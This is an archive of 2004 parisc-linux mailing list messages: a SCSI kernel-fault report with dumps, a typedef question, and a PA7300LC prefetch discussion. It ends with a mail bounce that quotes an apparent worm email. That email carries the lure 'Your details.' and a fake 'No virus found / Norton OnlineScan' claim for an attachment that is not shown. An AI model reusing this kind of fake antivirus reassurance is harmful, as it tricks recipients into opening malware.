Original-X-From: soete.joel@tiscali.be  Mon Apr 26 10:50:41 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71F8E4854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 10:50:41 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BI9JT-0007vX-00; Mon, 26 Apr 2004 18:50:35 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 26 Apr 2004 18:36:12 +0200
In-Reply-To: <OFEE32CD13.5A2A6DCE-ONC1256E82.004D2D75@fonts.de>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 16:50:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21526

Hello,

Just for curiosity, can you join a dmesg file.

Thanks,
    Joel

> -- Original Message --
> To: parisc-linux@lists.parisc-linux.org
> From: JKonrad@linotype.com
> Date: Mon, 26 Apr 2004 16:08:58 +0200
> Subject: [parisc-linux] Bug in kernel 2.4.23 concerning use of SCSI
> 
> 
> Hi,

using kernel 2.4.23-pa3, which I downloaded from http://parisc-linux.org/~rbrad/vmlinux-2.4.23-pa3.bz2
because I needed MUX support.

Machine is a HP K-200 with three CPUs (although, since this is not an smp
kernel, should not be important);

> 
I have a 50 GB SCSI-drive attached to SCSI1 (the Low Voltage Controller where
the CD-Rom is attached to); Whenever I try to format the partition (50GB,
the whole disk) I get the following:

> Writing superblocks and filesystem accounting information
>  scsi1 (0:0)
> Target is suffering from tag starvation.
> SCSI disk error : host 1 channel 0 id 0 lun 0 return code = 8
> I/O error: dev 08:41, sector 34078720
> SCSI disk error : host 1 channel 0 id 0 lun 0 return code = 8
> I/O error: dev 08:41,
> sector 34078722
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 7c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants t
>  abort command
>        0x2a 00 05 c4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 ac 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 10 00 28 00 00 08 00
> 
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 9c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command

> >        0x2a 00 04 80 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 c4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 ac 00 28 00 00 08 00
> scsi1 (0:0) 
> ew error handler wants to abort command
>        0x2a 00 05 10 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 9c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 0
>  04 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 80 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 02 04 00 28 00 00 08 00
> scsi1 (0:0) New error handle
>  wants to abort command
>        0x2a 00 01 d0 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 01 fc 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 02 00 00 28 00
> 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 8c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 f4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants device r
> set
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants BUS reset, cmd 21e46e00
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1: Bus Reset detected, executing command 00000000, slot 00000000,
> dsp 001704a8[04a8]
> fai
> ing command because of reset, slot 21e88654, cmnd 21e46e00
> failing command because of reset, slot 21e88788, cmnd 21e47e00
> failing command because of reset, slot 21e888bc, cmnd 21e47800
> failing command because of reset, slot 21e889f0, cmnd 21e4
> 200
> failing command because of reset, slot 21e88b24, cmnd 21e46000
> failing command because of reset, slot 21e88c58, cmnd 21e46400
> failing command because of reset, slot 21e88d8c, cmnd 21e46600
> failing command because of reset, slot 21e88ec0
>  cmnd 21e46a00
> failing command because of reset, slot 21e88ff4, cmnd 21e47c00
> failing command because of reset, slot 21e89128, cmnd 21e47a00
> failing command because of reset, slot 21e8925c, cmnd 21e47600
> failing command because of reset, sl
> t 21e894c4, cmnd 21e47400
> failing command because of reset, slot 21e895f8, cmnd 21e47200
> failing command because of reset, slot 21e8972c, cmnd 21e47000
>
> Stack Dump:
> 21e90740:  0004ff0e 00000000 21e90670 21e90650
> 21e90730:  00000000 102
> 8630 00000000 21e90000
> 21e90720:  00000000 00000000 00000000 21e90000
> 21e90710:  00000001 00000002 21f36000 00000002
> 21e90700:  21f3c040 1006c000 103aa010 103aa010
> 21e906f0:  1032b010 1020e448 103cd000 00000001
>
> Kernel addresses on the
> stack:

> Kernel Fault: Code=26 regs=21e90740 (Addr=00000048)
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001110 Not tainted
> r00-03  00000000 103ebab8 10228630 21e8972c
> r04-07  21e46e00 1020de94 21f60400 000020
> 0
> r08-11  000003e8 0000ffff 00002000 00001000
> r12-15  00001002 21f61ea0 000000fd f0100000
> r16-19  f0000fe0 f0000074 f000006c 00000080
> r20-23  00000000 21e889f0 10065860 00000000
> r24-27  00000000 00000000 21f60404 10316010
> r28-31  21f6
> 404 10326c00 21e90740 1020e51c
> sr0-3   00000000 00000003 00000000 00000003
> sr4-7   00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 102286bc 102286c0
> IIR: 4a930090    ISR: 00000000  IOR: 00000048
> CPU:        0   CR30:
> 21e90000 CR31: 103d8000
> ORIG_R28: 00000000

Then the machine freezes, I need to reboot. When I make a partition with
40GB and format it, I get an error message very much the same, but I get
a prompt and can continue to work. When I use a
partitio
>  of 30GB, it works. What seems to be the problem here?

Greets,

Jay




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-lin
> x



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel>=2.6.4-rc3 hung or panic on C1[18]0
Date: Mon, 26 Apr 2004 18:52:40 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <408D3DDB00000005@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623409 8995 80.91.229.3 (22 Nov 2014 02:30:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Mon Apr 26 10:52:44 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A6E74854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 10:52:44 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BI9LW-0008Fe-00; Mon, 26 Apr 2004 18:52:42 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 26 Apr 2004 18:52:40 +0200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 16:52:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21527

Hi all,

I know it shouldn't be the source of the pb but btw I noticed:

> ncr53c8xx.c:7594:	u_long baddr = map_scsi_single_data(np, cmd);

cmd is a "struct scsi_cmnd *" (the parameter of ncr_scatter)

> sym53c8xx_comm.h:699:static int __map_scsi_sg_data(struct device *dev,
Scsi_Cmnd *cmd)
...
sym53c8xx_comm.h:708:	use_sg = dma_map_sg(dev, cmd->buffer, cmd->use_sg,
dma_dir);

and here cmd is a "Scsi_Cmnd *" which is so of different type because of
"typedef struct scsi_cmnd Scsi_Cmnd"


What should it be done?

Thanks in advance for your attention,
    Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] 7300LC
Date: Mon, 26 Apr 2004 18:55:02 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <408D3DDB0000000B@ocpmta1.freegates.net>
References: <20040426014111.GC3965@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623410 9000 80.91.229.3 (22 Nov 2014 02:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Mon Apr 26 10:55:06 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62E974854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 10:55:06 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BI9No-0002Un-00; Mon, 26 Apr 2004 18:55:04 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 26 Apr 2004 18:55:02 +0200
In-Reply-To: <20040426014111.GC3965@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 16:55:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21528


> on pa11 gas won't assemble the ldd insn.

Yes, it doesn't (i test on a b180 which just have a PA7300LC).

Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel>=2.6.4-rc3 hung or panic on C1[18]0
Date: Mon, 26 Apr 2004 11:11:26 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20040426171126.GE23029@colo.lackof.org>
References: <408D3DDB00000005@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623410 9003 80.91.229.3 (22 Nov 2014 02:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Mon Apr 26 11:11:28 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD1054854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 11:11:27 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6AEAD29809C; Mon, 26 Apr 2004 11:11:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 25918-04; Mon, 26 Apr 2004 11:11:26 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E1B1E29805B; Mon, 26 Apr 2004 11:11:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <408D3DDB00000005@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 17:11:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21529

On Mon, Apr 26, 2004 at 06:52:40PM +0200, Joel Soete wrote:
> and here cmd is a "Scsi_Cmnd *" which is so of different type because of
> "typedef struct scsi_cmnd Scsi_Cmnd"

uhm...the typedef says Scsi_Cmnd *IS* struct scsi_cmnd.
Therefor "Scsi_Cmnd *"  is the same type as "struct scsi_cmnd *".

> What should it be done?

Get rid of Scsi_Cmnd typedef?
I personally consider it bad style to use both forms in the same
subsystem and don't really care which is used. But that's an
issue for the subsystem maintainer to decide. :^)

grant


From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] 7300LC
Date: Mon, 26 Apr 2004 10:48:56 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <010f01c42bb6$bf5864e0$f463f40f@jh733133>
References: <20040426115918.GO22558@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623410 9007 80.91.229.3 (22 Nov 2014 02:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Matthew Wilcox'" <willy@debian.org>,
	"'Randolph Chung'" <tausq@debian.org>
Original-X-From: jim.hull@hp.com  Mon Apr 26 11:48:57 2004
Return-Path: <jim.hull@hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 842244838
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 11:48:57 -0600 (MDT)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel12.hp.com (Postfix) with ESMTP
	id E0E7D1C013EB; Mon, 26 Apr 2004 10:48:56 -0700 (PDT)
Original-Received: from jh733133 (dhcp42uvi498.cup.hp.com [15.244.99.244])
	by lucy.cup.hp.com (8.9.3 (PHNE_28809+JAGae91741)/8.9.3 SMKit7.02) with
	ESMTP id KAA09327; Mon, 26 Apr 2004 10:48:56 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.5709
In-Reply-To: <20040426115918.GO22558@parcelfarce.linux.theplanet.co.uk>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 17:48:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21530

The prefetch for read (using LDW) vs. prefetch for write (using LDD) applies
only to PA2.0 processors.  PA1.1 processors (including the 7300LC), since
they're only 32-bit machines, don't implement LDD (64-bit load).  For PA1.1,
there's only one kind of prefetch, using LDW.

 -- Jim
    HP PA-RISC/Itanium Processor Architect

> -----Original Message-----
> From: parisc-linux-bounces@lists.parisc-linux.org 
> [mailto:parisc-linux-bounces@lists.parisc-linux.org] On 
> Behalf Of Matthew Wilcox
> Sent: Monday, April 26, 2004 4:59 AM
> To: Randolph Chung
> Cc: Matthew Wilcox; parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] Re: [parisc-linux-cvs] 7300LC
> 
> 
> On Sun, Apr 25, 2004 at 06:41:11PM -0700, Randolph Chung wrote:
> > willy, kyle found out that this doesn't work:
> > 
> > > > Split out 7300LC from 7100LC and PREFETCH from PA20.
> > 
> > extern inline void prefetchw(const void *addr)
> > {
> >         __asm__("ldd 0(%0), %%r0" : : "r" (addr));
> > }
> > 
> > on pa11 gas won't assemble the ldd insn.
> > 
> > is this supposed to work for pa7300lc? if so we might have 
> to rewrite
> > prefetchw to use a .word or something...
> 
> It is supposed to work, yes.  I gleaned this information from
> http://cpus.hp.com/technical_references/b7300lc.shtml section 2.2.4
> The 7300LC ERS (http://ftp.parisc-linux.org/docs/chips/pcxl2_ers.pdf)
> is of no help in this matter.  In section 14.5, it says:
> 
>   Because the processor does not necessarily stall even with two cache
>   misses pending, software prefetching can lead to better performance
>   increases than on the PA7100LC. This is because a software prefetch,
>   initiated by a load to general register 0, is not treated like a
>   load miss by the data cache and therefore can be completed in the
>   ``background'' by the hardware and is less likely to cause processor
>   stalls.
> 
> But, thinking about it, PA7300LC isn't SMP-capable.  Is there any
> difference between prefetch-for-read and prefetch-for-write on a
> uniprocessor system?  I don't think so.  So possibly we should just
> define prefetchw to be the same as prefetch for CONFIG_PA7300LC and
> different for CONFIG_PA20.  Makes sense?
> 
> -- 
> "Next the statesmen will invent cheap lies, putting the blame upon 
> the nation that is attacked, and every man will be glad of those
> conscience-soothing falsities, and will diligently study 
> them, and refuse
> to examine any refutations of them; and thus he will by and 
> by convince 
> himself that the war is just, and will thank God for the better sleep 
> he enjoys after this process of grotesque self-deception." -- 
> Mark Twain
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAILER-DAEMON@gobo.nome.ca
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] failure notice
Date: 26 Apr 2004 19:55:01 -0000
Lines: 603
Approved: news@gmane.org
Message-ID: <20040426195603.6744E4838@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623411 9011 80.91.229.3 (22 Nov 2014 02:30:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Mon Apr 26 13:56:04 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gobo.nome.ca (nome.ca [65.61.200.81])
	by dsl2.external.hp.com (Postfix) with SMTP id 6744E4838
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 13:56:03 -0600 (MDT)
Original-Received: (qmail 8733 invoked for bounce); 26 Apr 2004 19:55:01 -0000
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 19:56:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21531

Hi. This is the qmail-send program at gobo.nome.ca.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<089/email/yklee@msica.com>:
vdeliver: Invalid or unknown virtual user '089/email/yklee'

--- Below this line is a copy of the message.

Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: (qmail 8718 invoked from network); 26 Apr 2004 19:54:59 -0000
Received: from unknown (HELO msica.com) (24.87.245.166)
  by nome.ca with SMTP; 26 Apr 2004 19:54:59 -0000
From: parisc-linux@lists.parisc-linux.org
To: 089/email/yklee@msica.com
Subject: Re: Re: thanks!
Date: Mon, 26 Apr 2004 12:55:26 -0700
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016_00007924.00001E9E"
X-Priority: 3
X-MSMail-Priority: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0016_00007924.00001E9E
Content-Type: multipart/related;
	boundary="----=_NextPart_001_0017_00007924.00001E9E"
	type="multipart/alternative"


------=_NextPart_001_0017_00007924.00001E9E
Content-Type: multipart/alternative;
	boundary="----=_NextPart_002_0018_00007924.00001E9E"


------=_NextPart_002_0018_00007924.00001E9E
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your details.

--------------------------------------------
document_all.zip: No virus found
Powered by the new Norton OnlineScan
Get protected: www.symantec.com


------=_NextPart_002_0018_00007924.00001E9E
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
</HEAD>
<BODY bgColor=3Dffffff>
<FONT face=3DArial size=3D2>Your details.</FONT>
<br><br><HR>
<FONT face=3DArial size=3D2>document_all.zip: <b>No virus found</b><br><IMG=20
style=3D"WIDTH: 140px; HEIGHT: 38px" alt=3D"" hspace=3D0=20
src=3D"cid:00007BDD00F7$00004A33$00002675@7FD3" align=3Dright=20
border=3D0></FONT>
<FONT face=3DArial size=3D2>Powered by the new Norton =
OnlineScan</FONT><br>
<FONT face=3DArial size=3D2>Get protected: <A=20
href=3D"http://www.symantec.com">www.symantec.com</A></FONT>
</BODY></HTML>

------=_NextPart_002_0018_00007924.00001E9E--

------=_NextPart_001_0017_00007924.00001E9E
Content-Type: image/gif;
	name="symantec.gif"
Content-Transfer-Encoding: base64
Content-ID: <00007BDD00F7$00004A33$00002675@7FD3>

R0lGODlhjAAmAPcAAP///////f/+//z///7+/v7+9/385/z63e7tztXSwry8uLW1tb6+vtLS0t/f
3+/v7/j4+Pz8/P7//P7//vz+/P34pvzyZ+XNOJqOLFpPLCwnKiAgIBgYGBISEkNDQ2ppaaWlpdzc
3PLy8v39/fv+/v370/z0i/jkL/3LAMqZDy8yRSsyODgzNDAwMCkpKSQkJBwcHAICAm9ubsXFxf7+
//rrR/XOAv68AGJbRUJHVEdISUZFRT88OTk4OQsLC3R0dNnZ2f35yv3zhPjDCvK2AOeyCY15N01R
XFRTVFBPUEBAQDU1NS8uLLGxsf/+/f37xP3xfPXKJvKyAMGdKlthZVpaWz09PY+Pj/79/PjiWvS4
APO6AaiRTGlrdmRoa15eXldXV5GRkf7///zzku63CW5xgmBgYExMTJWVlf7zm/3skfO7BmVlZP78
8v35tvK9Aebm5vnpiPvBAM2uMXt6eurq6omJifS9BvG+BPXAAezEB2NoZFhXXPLAAfTKAZqLR2Rk
avr6+vX19fDw8OLi4ujo6OTk5PzxW/zycvndS/TDALCbL4KCgru7u/vxQ/PSHPTHAf/UANqwEDs3
OM3NzampqcrKyp2dna6urpmZmfzxVPvxOPXMC//VCIeCYcHBwezs7J+fn9bW1qKiovnwJfrrOPTX
D/bSIvnqd9bX2fjwFvrwDvvtGfXcCv3zyvnvAPruCPr6h/rvA/fwAvjsAvbsAfjpAfb128nH3aem
t3Fsb/ntAPjlAffhAfXlCuzaGLioLXNqT1ZZaPfdAPjaAfvoBvbYAfbTAfbVAOS8DPXRALaLEPfa
PfTSA+SqB/z21kxKQ/jXVvPDFfKuAB8iJvrvw/jWa/exACEmL/jmr/fGQfK1FeCmFXZ0bpqbp9LP
1P313fHu29/g5/P1+vv7/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAjAAmAAAI/wABCBxI
UGCAAAIEDBgAgIBDhwMJNCxIsaLFixgzatzIsaNGAgICFDBwAEECBQsYNHDwAEIEjzBjypxJ06KE
CRQEABhZwcIFDBk0bODQocMGDx9AhBARkSDEmlCjStVIYQSJAiVMnECRIoOKFSxauHgBo0OMszBk
zGDqdKrbt29pDDBQoYaNGylw5NCxg0cPsS82wODg42yHH0AEEhgxEa7jxzBpBBFSYwiRIkaOIEmi
Q0mPJUzGDi5aOMaSJoolQl7NmuIEAE6eQLEQRcqNKR+oVNm8w8pf0WU7+Cjd4Yri1sgbw9U5AcsT
